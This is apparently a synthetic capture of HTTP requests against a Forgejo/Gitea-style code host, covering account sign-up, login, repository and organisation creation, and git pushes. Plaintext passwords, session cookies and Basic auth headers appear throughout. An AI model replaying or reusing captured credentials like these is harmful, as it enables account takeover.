{"method": "GET", "target": "/user/login", "headers": ["Host: example.com", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Accept-Encoding: gzip, deflate"], "body": ""}
{"method": "GET", "target": "/user/forgot_password", "headers": ["Host: example.com", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Accept-Encoding: gzip, deflate"], "body": ""}
{"method": "GET", "target": "/user/sign_up", "headers": ["Host: example.com", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Accept-Encoding: gzip, deflate"], "body": ""}
{"method": "POST", "target": "/user/sign_up", "headers": ["Host: example.com", "Connection: keep-alive", "Content-Length: 91", "Cache-Control: max-age=0", "Upgrade-Insecure-Requests: 1", "Content-Type: application/x-www-form-urlencoded", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Origin: http://example.com", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Referer: http://example.com/user/sign_up", "Accept-Encoding: gzip, deflate"], "body": "user_name=bob&email=bob%40example.com&password=Wd7-kPq3-Zx8n-Rf2m&retype=Wd7-kPq3-Zx8n-Rf2m"}
{"method": "GET", "target": "/", "headers": ["Host: example.com", "Connection: keep-alive", "Cache-Control: max-age=0", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Referer: http://example.com/user/sign_up", "Accept-Encoding: gzip, deflate", "Cookie: session=46035a1a58fc293d; lang=en-US; flash=success%3DAccount%2Bwas%2Bsuccessfully%2Bcreated.%2BWelcome%2521"], "body": ""}
{"method": "GET", "target": "/assets/js/eventsource.sharedworker.js?v=17.0.1~gitea-1.22.0", "headers": ["Host: example.com", "Connection: keep-alive", "Accept: */*", "Referer: http://example.com/", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept-Encoding: gzip, deflate", "Cookie: session=46035a1a58fc293d; lang=en-US"], "body": ""}
{"method": "GET", "target": "/assets/css/dashboard-repo-list.98057021.css", "headers": ["Host: example.com", "Connection: keep-alive", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/css,*/*;q=0.1", "Referer: http://example.com/", "Accept-Encoding: gzip, deflate", "Cookie: session=46035a1a58fc293d; lang=en-US"], "body": ""}
{"method": "GET", "target": "/assets/js/dashboard-repo-list.09995173.js", "headers": ["Host: example.com", "Connection: keep-alive", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: */*", "Referer: http://example.com/", "Accept-Encoding: gzip, deflate", "Cookie: session=46035a1a58fc293d; lang=en-US"], "body": ""}
{"method": "GET", "target": "/avatars/4b9bb80620f03eb3719e0a061c14283d?size=64", "headers": ["Host: example.com", "Connection: keep-alive", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: image/jxl,image/avif,image/webp,image/apng,image/svg+xml,image/*,*/*;q=0.8", "Referer: http://example.com/", "Accept-Encoding: gzip, deflate", "Cookie: session=46035a1a58fc293d; lang=en-US"], "body": ""}
{"method": "GET", "target": "/repo/search?count_only=1&uid=2&team_id=undefined&q=&page=1&mode=", "headers": ["Host: example.com", "Connection: keep-alive", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: */*", "Referer: http://example.com/", "Accept-Encoding: gzip, deflate", "Cookie: session=46035a1a58fc293d; lang=en-US"], "body": ""}
{"method": "GET", "target": "/user/events", "headers": ["Host: example.com", "Connection: keep-alive", "Pragma: no-cache", "Cache-Control: no-cache", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/event-stream", "Referer: http://example.com/assets/js/eventsource.sharedworker.js?v=17.0.1~gitea-1.22.0", "Accept-Encoding: gzip, deflate", "Cookie: session=46035a1a58fc293d; lang=en-US"], "body": ""}
{"method": "GET", "target": "/repo/search?sort=updated&order=desc&uid=2&team_id=undefined&q=&page=1&limit=15&mode=&archived=false", "headers": ["Host: example.com", "Connection: keep-alive", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: */*", "Referer: http://example.com/", "Accept-Encoding: gzip, deflate"], "body": ""}
{"method": "GET", "target": "/user/login", "headers": ["Host: example.com", "Connection: keep-alive", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: */*", "Referer: http://example.com/", "Accept-Encoding: gzip, deflate", "Cookie: redirect_to=%2Frepo%2Fsearch%3Fsort%3Dupdated%26order%3Ddesc%26uid%3D2%26team_id%3Dundefined%26q%3D%26page%3D1%26limit%3D15%26mode%3D%26archived%3Dfalse"], "body": ""}
{"method": "POST", "target": "/user/login", "headers": ["Host: example.com", "Connection: keep-alive", "Content-Length: 43", "Cache-Control: max-age=0", "Upgrade-Insecure-Requests: 1", "Content-Type: application/x-www-form-urlencoded", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Origin: http://example.com", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Referer: http://example.com/user/login", "Accept-Encoding: gzip, deflate", "Cookie: redirect_to=%2Frepo%2Fsearch%3Fsort%3Dupdated%26order%3Ddesc%26uid%3D2%26team_id%3Dundefined%26q%3D%26page%3D1%26limit%3D15%26mode%3D%26archived%3Dfalse"], "body": "user_name=alice&password=Hv4-mQz8-Lr2x-Tp9w"}
{"method": "GET", "target": "/repo/search?sort=updated&order=desc&uid=2&team_id=undefined&q=&page=1&limit=15&mode=&archived=false", "headers": ["Host: example.com", "Connection: keep-alive", "Cache-Control: max-age=0", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Referer: http://example.com/user/login", "Accept-Encoding: gzip, deflate", "Cookie: session=cf1a51e0caee441a; lang=en-US"], "body": ""}
{"method": "GET", "target": "/repo/create", "headers": ["Host: example.com", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Accept-Encoding: gzip, deflate", "Cookie: session=cf1a51e0caee441a; lang=en-US"], "body": ""}
{"method": "GET", "target": "/avatars/c160f8cc69a4f0bf2b0362752353d060?size=64", "headers": ["Host: example.com", "Connection: keep-alive", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: image/jxl,image/avif,image/webp,image/apng,image/svg+xml,image/*,*/*;q=0.8", "Referer: http://example.com/repo/create", "Accept-Encoding: gzip, deflate", "Cookie: session=cf1a51e0caee441a; lang=en-US"], "body": ""}
{"method": "GET", "target": "/assets/js/webcomponents.js?v=17.0.1~gitea-1.22.0", "headers": ["Host: example.com", "Connection: keep-alive", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: */*", "Referer: http://example.com/user/login", "Accept-Encoding: gzip, deflate"], "body": ""}
{"method": "GET", "target": "/assets/css/index.css?v=17.0.1~gitea-1.22.0", "headers": ["Host: example.com", "Connection: keep-alive", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/css,*/*;q=0.1", "Referer: http://example.com/user/login", "Accept-Encoding: gzip, deflate"], "body": ""}
{"method": "GET", "target": "/assets/js/index.js?v=17.0.1~gitea-1.22.0", "headers": ["Host: example.com", "Connection: keep-alive", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: */*", "Referer: http://example.com/user/login", "Accept-Encoding: gzip, deflate"], "body": ""}
{"method": "GET", "target": "/assets/css/theme-forgejo-auto.css?v=17.0.1~gitea-1.22.0", "headers": ["Host: example.com", "Connection: keep-alive", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/css,*/*;q=0.1", "Referer: http://example.com/user/login", "Accept-Encoding: gzip, deflate"], "body": ""}
{"method": "GET", "target": "/assets/img/logo.svg", "headers": ["Host: example.com", "Connection: keep-alive", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: image/jxl,image/avif,image/webp,image/apng,image/svg+xml,image/*,*/*;q=0.8", "Referer: http://example.com/user/login", "Accept-Encoding: gzip, deflate"], "body": ""}
{"method": "GET", "target": "/", "headers": ["Host: example.com", "Connection: keep-alive", "Cache-Control: max-age=0", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Referer: http://example.com/user/login", "Accept-Encoding: gzip, deflate", "Cookie: session=6f0c5162ff135818; lang=en-US"], "body": ""}
{"method": "GET", "target": "/avatars/c160f8cc69a4f0bf2b0362752353d060?size=64", "headers": ["Host: example.com", "Connection: keep-alive", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: image/jxl,image/avif,image/webp,image/apng,image/svg+xml,image/*,*/*;q=0.8", "Referer: http://example.com/", "Accept-Encoding: gzip, deflate", "Cookie: session=6f0c5162ff135818; lang=en-US"], "body": ""}
{"method": "GET", "target": "/repo/search?count_only=1&uid=1&team_id=undefined&q=&page=1&mode=", "headers": ["Host: example.com", "Connection: keep-alive", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: */*", "Referer: http://example.com/", "Accept-Encoding: gzip, deflate", "Cookie: session=6f0c5162ff135818; lang=en-US"], "body": ""}
{"method": "GET", "target": "/repo/search?sort=updated&order=desc&uid=1&team_id=undefined&q=&page=1&limit=15&mode=&archived=false", "headers": ["Host: example.com", "Connection: keep-alive", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: */*", "Referer: http://example.com/", "Accept-Encoding: gzip, deflate", "Cookie: session=6f0c5162ff135818; lang=en-US"], "body": ""}
{"method": "POST", "target": "/repo/create", "headers": ["Host: example.com", "Connection: keep-alive", "Content-Length: 179", "Cache-Control: max-age=0", "Upgrade-Insecure-Requests: 1", "Content-Type: application/x-www-form-urlencoded", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Origin: http://example.com", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Referer: http://example.com/repo/create", "Accept-Encoding: gzip, deflate", "Cookie: session=97fc659c225db684; lang=en-US"], "body": "uid=1&repo_name=tools&description=Build+scripts+and+notes&repo_template=&auto_init=on&gitignores=&license=&readme=Default&issue_labels=&object_format_name=sha1&default_branch=main"}
{"method": "GET", "target": "/alice/tools", "headers": ["Host: example.com", "Connection: keep-alive", "Cache-Control: max-age=0", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Referer: http://example.com/repo/create", "Accept-Encoding: gzip, deflate", "Cookie: session=97fc659c225db684; lang=en-US"], "body": ""}
{"method": "GET", "target": "/assets/css/repo-branch-tag-selector.d9ca1da2.css", "headers": ["Host: example.com", "Connection: keep-alive", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/css,*/*;q=0.1", "Referer: http://example.com/alice/tools", "Accept-Encoding: gzip, deflate", "Cookie: session=97fc659c225db684; lang=en-US"], "body": ""}
{"method": "GET", "target": "/assets/js/repo-branch-tag-selector.f396185d.js", "headers": ["Host: example.com", "Connection: keep-alive", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: */*", "Referer: http://example.com/alice/tools", "Accept-Encoding: gzip, deflate", "Cookie: session=97fc659c225db684; lang=en-US"], "body": ""}
{"method": "GET", "target": "/org/create", "headers": ["Host: example.com", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Accept-Encoding: gzip, deflate", "Cookie: session=97fc659c225db684; lang=en-US"], "body": ""}
{"method": "POST", "target": "/org/create", "headers": ["Host: example.com", "Connection: keep-alive", "Content-Length: 59", "Cache-Control: max-age=0", "Upgrade-Insecure-Requests: 1", "Content-Type: application/x-www-form-urlencoded", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Origin: http://example.com", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Referer: http://example.com/org/create", "Accept-Encoding: gzip, deflate", "Cookie: session=97fc659c225db684; lang=en-US"], "body": "org_name=acme&visibility=0&repo_admin_change_team_access=on"}
{"method": "GET", "target": "/org/acme/dashboard", "headers": ["Host: example.com", "Connection: keep-alive", "Cache-Control: max-age=0", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Referer: http://example.com/org/create", "Accept-Encoding: gzip, deflate", "Cookie: session=97fc659c225db684; lang=en-US"], "body": ""}
{"method": "GET", "target": "/avatars/53bce4f1dfa0fe8e7ca126f91b35d3a6?size=64", "headers": ["Host: example.com", "Connection: keep-alive", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: image/jxl,image/avif,image/webp,image/apng,image/svg+xml,image/*,*/*;q=0.8", "Referer: http://example.com/org/acme/dashboard", "Accept-Encoding: gzip, deflate", "Cookie: session=97fc659c225db684; lang=en-US"], "body": ""}
{"method": "GET", "target": "/repo/search?count_only=1&uid=3&team_id=undefined&q=&page=1&mode=", "headers": ["Host: example.com", "Connection: keep-alive", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: */*", "Referer: http://example.com/org/acme/dashboard", "Accept-Encoding: gzip, deflate", "Cookie: session=97fc659c225db684; lang=en-US"], "body": ""}
{"method": "GET", "target": "/repo/search?sort=updated&order=desc&uid=3&team_id=undefined&q=&page=1&limit=15&mode=&archived=false", "headers": ["Host: example.com", "Connection: keep-alive", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: */*", "Referer: http://example.com/org/acme/dashboard", "Accept-Encoding: gzip, deflate", "Cookie: session=97fc659c225db684; lang=en-US"], "body": ""}
{"method": "GET", "target": "/alice/tools.git/info/refs?service=git-upload-pack", "headers": ["Host: example.com", "User-Agent: git/2.49.1", "Accept: */*", "Accept-Encoding: deflate, gzip, br, zstd", "Pragma: no-cache", "Git-Protocol: version=2"], "body": ""}
{"method": "POST", "target": "/alice/tools.git/git-upload-pack", "headers": ["Host: example.com", "User-Agent: git/2.49.1", "Accept-Encoding: deflate, gzip, br, zstd", "Content-Type: application/x-git-upload-pack-request", "Accept: application/x-git-upload-pack-result", "Git-Protocol: version=2", "Content-Length: 181"], "body": "0014command=ls-refs\n001aagent=git/2.49.1-Linux0016object-format=sha100010009peel\n000csymrefs\n000bunborn\n001bref-prefix refs/heads/\n001aref-prefix refs/tags/\n0014ref-prefix HEAD\n0000"}
{"method": "POST", "target": "/alice/tools.git/git-upload-pack", "headers": ["Host: example.com", "User-Agent: git/2.49.1", "Accept-Encoding: deflate, gzip, br, zstd", "Content-Type: application/x-git-upload-pack-request", "Accept: application/x-git-upload-pack-result", "Git-Protocol: version=2", "Content-Length: 223"], "body": "0011command=fetch001aagent=git/2.49.1-Linux0016object-format=sha10001000dthin-pack000fno-progress000dofs-delta0032want 025ecb5715ad88750bc8944ae3ee0023776b08a3\n0032want 025ecb5715ad88750bc8944ae3ee0023776b08a3\n0009done\n0000"}
{"method": "GET", "target": "/alice/tools.git/info/refs?service=git-receive-pack", "headers": ["Host: example.com", "User-Agent: git/2.49.1", "Accept: */*", "Accept-Encoding: deflate, gzip, br, zstd", "Pragma: no-cache"], "body": ""}
{"method": "POST", "target": "/alice/tools.git/git-receive-pack", "headers": ["Host: example.com", "Authorization: Basic YWxpY2U6SHY0LW1RejgtTHIyeC1UcDl3", "User-Agent: git/2.49.1", "Accept-Encoding: deflate, gzip, br, zstd", "Content-Type: application/x-git-receive-pack-request", "Accept: application/x-git-receive-pack-result", "Content-Length: 1195"], "body": "MDBiNTAyNWVjYjU3MTVhZDg4NzUwYmM4OTQ0YWUzZWUwMDIzNzc2YjA4YTMgYmJlNTIyM2E5YTRmODRlN2MzZDcyMDZmNGJkZDA2MjIzOWU4MzA5YiByZWZzL2hlYWRzL21haW4AIHJlcG9ydC1zdGF0dXMtdjIgc2lkZS1iYW5kLTY0ayBxdWlldCBvYmplY3QtZm9ybWF0PXNoYTEgYWdlbnQ9Z2l0LzIuNDkuMS1MaW51eDAwMDBQQUNLAAAAAgAAAA+YDXiclYtbCsIwEAD/c4r8C7J5bLMFEXuUzWaLgVZLmoLHtx7B+RkYmN5UrRTyOCtLiSKEgCPMPnoix7FIRBiT5hSd2bjpq1vwqJIxOeRClBCy0Bgja1AF8CGlIQNxMHz057vZaami9sY/PfTD67boVd7r3bo0xkAOh8Fe4MScda2961+TmUqx+ahLsbu0uvXdfAHWnz/YoRR4nDM0MDAzMVHQS88syUzPyy9KZTiU2lsrbdjSY104jdX5NHPG05wrxw2hqjJKEpOTU4uLGaIm9ecuijp2bVeqB3fZBavC0xMSLaCKglwdXXxd9XJTGIra7y45/9VpvTvn0Xl2Kzsfiq1znAJVFJ1SlJhWEgtS9fmKeemzqGM9rJ0rpsnMS4t74ZzpYmIABApJmXkMS35PtDvsY3r29PzXKw5bNU9ZxpERBzUjJT85O7VINzk/tyC/OFWvMjeHQWd5y3flxTNnR91tzrz0g3Vzj8LbmxCzgIqLGfhebpt28ZJ3sYB3caHp4gO26QUZiyDSxclFmQUlxQxfH11qDNt8SW+e8ule1UMm87rDHz6HqihKZkjJPfl/b6+HvVWbwP4LLHLrGh0WWwIAQ5+D9D54nMvLT0mNz81PKc1JLdbnAgAqqgU4sQF4nPMvKMnMzytW0PXMS0mtSC3mAgA5BQYUNnicSylKTCvhAgAIQAIcrQJ4nDM0MDAzMVFIyU/OTi3STc0rKaosyM/MK2EwlNlx2uGU5d7E5T2We5qlPpa4xEUBAGp2Eai0AXicU1bUT8rM0y/O4EqtSE1WUFJxUOICADrbBTiyAnicK04tKstMTi224lJQKE9NAlEKCpm5iempVgp56Zl5FVwAvLIKdq8CeJwzNDAwMzFRyEosS9TLScxL1wsuKcoEUrkpDDqcykduszK1ZnX7O/2+3DJ3wducWABo9hG0OXicU1YILinKzEvnAgANQQLFqQV4nDM0MDAzMVHIzCsuSczJ0S1OLsosKNErzmA4WsLziFHnpxzTZC5LhjXrhBeuDpcyhCguqCzJyM8z1k3OSE3O1iuoZNjBZ6S0Ws37+qnf5umeeyUa/a+llwEAQ3sf9roBeJxTVtRPyszTL87gSk3OyFfIzCsuSczJycxL5wIAbs0Ivzx4nCsoyswr0VDKyFTS5AIAHBwDnqwCeJwzNDAwMzFRKCjKT04tLtZLzSvTS9ErKWZoZrzwV9ki/dEqV+5di3c4P5qYE/gAAFOgEcS7AnicS0lNzkksSlVIzs8rLlFIzSuzUghKTc4vSrEpLinKzEvXUYDQdtZcAF6zD3MdeaAnWyIMS8cNQ71Ry9eDVrG43w=="}
{"method": "POST", "target": "/alice/tools.git/git-receive-pack", "headers": ["Host: example.com", "Authorization: Basic YWxpY2U6SHY0LW1RejgtTHIyeC1UcDl3", "User-Agent: git/2.49.1", "Accept-Encoding: deflate, gzip, br, zstd", "Content-Type: application/x-git-receive-pack-request", "Accept: application/x-git-receive-pack-result", "Content-Length: 617"], "body": "MDBjMjAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAgZjdmZmE2MDM5NmQ5OWY2MTMxNWE1YTlhMjI1ZmMzMmViNjIyOGZkYiByZWZzL2hlYWRzL3B5dGhvbjMtbWlncmF0aW9uACByZXBvcnQtc3RhdHVzLXYyIHNpZGUtYmFuZC02NGsgcXVpZXQgb2JqZWN0LWZvcm1hdD1zaGExIGFnZW50PWdpdC8yLjQ5LjEtTGludXgwMDAwUEFDSwAAAAIAAAAElg14nJWNSwoCMRBE9zlF7wVJ0j35gIgewEMk6Q4OzJhhiKK3Nx7B2hS8R1F9F4GKwoGzUAmFinHOMCUO1gyKjrC6yDb6qLa0y6NDzjJZiykmqoHEF2RvtauUmbUbJkpAHbNKz35vO1yXuQic0q8u8k7rtsixtPUMxkfCYCbn4aBH1KDr3Lv8NVK39hLoDbbP+Hug+gLJoT+v+gPNgl/qzUzIUFkPJCiBpNxFCX63QXicO8h0kGkDP6NRbPrloHwvB+O3XZczPxVe7CwzvnPLxAAIFIqLkhlSck/+39vrYW/VJrD/AovcukaHxZYA3WMY768HeJwzNDAwMzFRyMwrLknMydEtTi7KLCjRK85gOFrC84hR56cc02QuS4Y164QXrg6XMoQozs1ML0osSdUrqGTYKb5c7aT9BD1nTdkJnNc8mluFrdOhqgoqSzLy84x1kzNSk7NBanfwGSmtVvO+fuq3ebrnXolG/2vpZQCoeiylOXicKyjKzCvRMNTkAgAQzwK6yhVHjb1hxkRjVbbQfVlakFC62Bw="}
{"method": "POST", "target": "/alice/tools.git/git-receive-pack", "headers": ["Host: example.com", "Authorization: Basic YWxpY2U6SHY0LW1RejgtTHIyeC1UcDl3", "User-Agent: git/2.49.1", "Accept-Encoding: deflate, gzip, br, zstd", "Content-Type: application/x-git-receive-pack-request", "Accept: application/x-git-receive-pack-result", "Content-Length: 475"], "body": "MDBjNDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAgNGI1ZWMxYWFiNjUyNzJiNjNiNWIxZjM5YmZjMmMxNDY4NGMwNjNhMCByZWZzL2hlYWRzL2ZlYXQvZG9ja2VyLXN1cHBvcnQAIHJlcG9ydC1zdGF0dXMtdjIgc2lkZS1iYW5kLTY0ayBxdWlldCBvYmplY3QtZm9ybWF0PXNoYTEgYWdlbnQ9Z2l0LzIuNDkuMS1MaW51eDAwMDBQQUNLAAAAAgAAAAOVDXiclYtbCsIwEEX/s4r8CzLNswERC25kJjODxdaWEMHlW5fg/TlwDrc3EesIQyoeoOQQaXCclFExhsqOKEQFUFJwZscmr26JJDrnsWDQMUiunrODpIGYIR2lyOihkMF3f2zNTstcxV7wh5t8cN0XOddtvdohl+DHIaZsT3DMHHade5e/TmZitvetPqXpvIj5AnIRP0P5As2CX+rNTMhQWQ8kKIGk3EUJfrdBeJw7yPScaUKQvEt+cnZqUVpmTipD+l/zCRITa+JfuB2Sut6UzLn8RVLLRO9vAGSzEms8eJxzC/L3VUjMKcjMS+UCABjGA9h6SWeBbtf5prUzWzGtbNHU1VZzAQ=="}
{"method": "POST", "target": "/alice/tools.git/git-receive-pack", "headers": ["Host: example.com", "Authorization: Basic YWxpY2U6SHY0LW1RejgtTHIyeC1UcDl3", "User-Agent: git/2.49.1", "Accept-Encoding: deflate, gzip, br, zstd", "Content-Type: application/x-git-receive-pack-request", "Accept: application/x-git-receive-pack-result", "Content-Length: 218"], "body": "MDBiNjAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAgYmJlNTIyM2E5YTRmODRlN2MzZDcyMDZmNGJkZDA2MjIzOWU4MzA5YiByZWZzL3RhZ3MvdjEuMC4wACByZXBvcnQtc3RhdHVzLXYyIHNpZGUtYmFuZC02NGsgcXVpZXQgb2JqZWN0LWZvcm1hdD1zaGExIGFnZW50PWdpdC8yLjQ5LjEtTGludXgwMDAwUEFDSwAAAAIAAAAAAp0IgjvYqOq1EK1qx1yCPP0+0x4="}
{"method": "GET", "target": "/alice/powershell-scripts.git/info/refs?service=git-receive-pack", "headers": ["Host: example.com", "User-Agent: git/2.49.1", "Accept: */*", "Accept-Encoding: deflate, gzip, br, zstd", "Pragma: no-cache"], "body": ""}
{"method": "POST", "target": "/alice/powershell-scripts.git/git-receive-pack", "headers": ["Host: example.com", "Authorization: Basic YWxpY2U6SHY0LW1RejgtTHIyeC1UcDl3", "User-Agent: git/2.49.1", "Accept-Encoding: deflate, gzip, br, zstd", "Content-Type: application/x-git-receive-pack-request", "Accept: application/x-git-receive-pack-result", "Content-Length: 397"], "body": "MDBiNTAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAgZGQxYzIyM2RjZWI1NDQxMjdiNzhjZGMyYTZjZTM1NmY4ZWQ5NGYyZCByZWZzL2hlYWRzL21haW4AIHJlcG9ydC1zdGF0dXMtdjIgc2lkZS1iYW5kLTY0ayBxdWlldCBvYmplY3QtZm9ybWF0PXNoYTEgYWdlbnQ9Z2l0LzIuNDkuMS1MaW51eDAwMDBQQUNLAAAAAgAAAAObCXiclYtRCsIwEAX/c4r9FyTbmO0GRPQoSXzBQGOlrODxrUdwfgYGxjaARNsEbjJ5pCRVYp0DtxCKIkfPUqLXO6O4/LbHutFt6RV0zj9d8cnjteBY13EhntMpKEdROvgdt9fRzfDX5Pqzm/sCJg8twKUCeJwzNDAwMzFRCHJ1dPF11ctNYXDttjkS9vTmppsC4WHfVpXW8TJZuQIA3ioNSjp4nFNWKE4uyiwoKeYCABGaA1YUrPZOD6Y21E0qY7z1OfdB9DOSug=="}
